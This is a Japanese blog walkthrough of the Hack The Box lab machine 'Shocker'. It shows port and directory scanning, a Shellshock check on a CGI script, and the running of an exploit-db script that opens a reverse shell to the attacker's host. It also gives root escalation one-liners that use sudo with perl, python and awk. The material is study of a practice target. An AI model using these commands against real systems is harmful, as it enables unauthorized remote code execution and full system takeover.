家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Shocker

偵察/スキャン

nmapの結果よりTCP80,2222が開いていることがわかります。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -p- -sC -sV 10.10.10.56
Starting Nmap 7.92 ( https://nmap.org ) 
Warning: 10.10.10.56 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.56
Host is up (0.27s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp  open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
29065/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

ブラウザでアクセスすると以下のような画面が表示されます。

ブラウザでアクセスした様子

ページのソースを見ても画像ファイルが表示されるだけのページなので、アクセス取得につながりそうな情報は見つけられませんでした。

また、nmapで検出されたバージョン情報について脆弱性を調査しましたが、アクセス取得に至るような情報は見つけられませんでした。

  • 80/tcp    open     http    Apache httpd 2.4.18 *1
  • 2222/tcp  open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

続けて、dirbでWebの調査を行います。

┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.56 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)                                                  
+ http://10.10.10.56/index.html (CODE:200|SIZE:137)                                                            + http://10.10.10.56/server-status (CODE:403|SIZE:299)                                                  -----------------

アクセスはできませんが3つ検出がありました。

 

補足:CGIについて

CGI(シージーアイ、Common Gateway Interface)とは、ウェブサーバが独立した外部プロセス(CGIプログラム)でウェブページを生成できるようにする仕組みです。CGIプログラムの記述にはPerlなどのスクリプト言語がよく用いられますが、基本的に標準入出力を備えているプログラミング言語であれば(たとえばC言語やシェルスクリプトでも)CGIプログラムを記述することは可能です。

ja.wikibooks.org

 

なので、http://10.10.10.56/cgi-bin/の配下にスクリプト等のファイルがないか調査します。

┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.56/cgi-bin/ -X .sh,.pl,.txt,.php,.py
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://10.10.10.56/cgi-bin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.sh,.pl,.txt,.php,.py) | (.sh)(.pl)(.txt)(.php)(.py) [NUM = 5]
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
+ http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118)                                                           -----------------
DOWNLOADED: 23060 - FOUND: 1

 

user.shが見つかりました。中身を見てみます。

┌──(kali㉿kali)-[~]
└─$ curl http://10.10.10.56/cgi-bin/user.sh
Content-Type: text/plain

Just an uptime test script

 20:58:37 up  1:34,  0 users,  load average: 0.00, 0.00, 0.00

アクセスしてみると何かが実行されたような結果が得られます。

 

CGIに関連する脆弱性情報をインターネットで調査してみます。

CGI関連の脆弱性には「Shellshock」があります。

 

「Shellshock」脆弱性とは何か
Linux などで使用されるオープンソースプログラム「Bourne Again shell(bash)」コマンドシェルに重大な脆弱性が存在することが確認されました。bash は、ほとんどの Linux ディストリビューションで一般的に利用されているシェルです。攻撃者は、「Shellshock」と呼ばれる脆弱性「CVE-2014-7169」のあるシステム上でコマンドを実行することが可能になります。つまり、これらの Linux ディストリビューションが稼働しているサーバで、この脆弱性は遠隔からコードを実行することを可能にします。
Unix系の OS環境で最もよく使われているシェルに重大な不具合が確認されました。この不具合により、攻撃者はネットワーク経由で任意のあらゆるコマンドを実行することが可能になります。最も影響を受けるのは、CGI 環境を使用した Webサーバです。

blog.trendmicro.co.jp

 

Shellshockの脆弱性があるか確認してみます。

┌──(kali㉿kali)-[~]
└─$ nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
Nmap scan report for 10.10.10.56
Host is up (0.47s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock: 
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|             
|     Disclosure date: 2014-09-24
|     Exploit results:
|       
|  
|  
|   
|  Internal Server Error
|  The server encountered an internal error or
|   misconfiguration and was unable to complete
|   your request.
|  Please contact the server administrator at 
|    webmaster@localhost to inform them of the time this error occurred,
|    and the actions you performed just before this error.
|  More information about this error may be available
|   in the server error log.
|  
|  Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80
|   
|   
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|       http://seclists.org/oss-sec/2014/q3/685
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169

Shellshockの脆弱性があることが確認できました。

 

アクセス取得

shellshockの脆弱性があることがわかったので、そこからアクセスを取得します。

┌──(kali㉿kali)-[~]
└─$ searchsploit shellshock                                                                                              6 ⨯
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)   | cgi/remote/38849.rb
Apache mod_cgi - 'Shellshock' Remote Command Injection                                     | linux/remote/34900.py
Bash - 'Shellshock' Environment Variables Command Injection                                | linux/remote/34766.php
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)                              | cgi/webapps/34895.rb
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)                          | hardware/remote/39568.py
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)                    | linux/remote/36933.py
GNU Bash - 'Shellshock' Environment Variable Command Injection                             | linux/remote/34765.txt
IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)             | cgi/remote/39918.rb
NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock)                               | cgi/webapps/40213.txt
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection                                     | linux/remote/34879.txt
PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection        | php/webapps/35146.txt
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection                        | linux/remote/34896.py
RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection                      | linux/local/40938.py
Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Injection (Shellsho | cgi/webapps/39887.txt
TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Command Injectio | hardware/remote/40619.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
------------------------------------------------------------------------------------------- ---------------------------------
 Paper Title                                                                               |  Path
------------------------------------------------------------------------------------------- ---------------------------------
The ShellShock Attack [Paper]                                                              | docs/english/48112-the-shellshoc
------------------------------------------------------------------------------------------- ---------------------------------
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ searchsploit -m 34900  
  Exploit: Apache mod_cgi - 'Shellshock' Remote Command Injection
      URL: https://www.exploit-db.com/exploits/34900
     Path: /usr/share/exploitdb/exploits/linux/remote/34900.py
File Type: Python script, ASCII text executable

Copied to: /home/kali/34900.py

上記のスクリプトを実行します。

※ncで待ち受けせずに実行可能です。

┌──(kali㉿kali)-[~]
└─$ python2 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.16.3 lport=4444  pages=/cgi-bin/user.sh               1 ⨯
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> uname -a
Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

10.10.10.56> sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

10.10.10.56> whoami
shelly

 

特権昇格

上記のsudo -lの実行結果で、Perlがroot権限で実行可能なことがわかります。

sudoでの実行権限にPython、Perl、Ruby、AWKなど、スクリプト言語のバイナリを許可している場合、root権限で任意のコマンドが実行可能です。

以下のコマンドでrootの取得ができました。

10.10.10.56> sudo /usr/bin/perl -e 'exec "/bin/bash";'
10.10.10.56> id
uid=0(root) gid=0(root) groups=0(root)

 

補足:その他言語での実行例

Pythonの例

$ sudo python3 -c 'import os; os.system("/bin/bash")'

AWKの例

$ sudo awk 'BEGIN {system("/bin/bash")}'

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

qiita.com

jpn.nec.com

www.exploit-db.com

 

 

 

*1:Ubuntu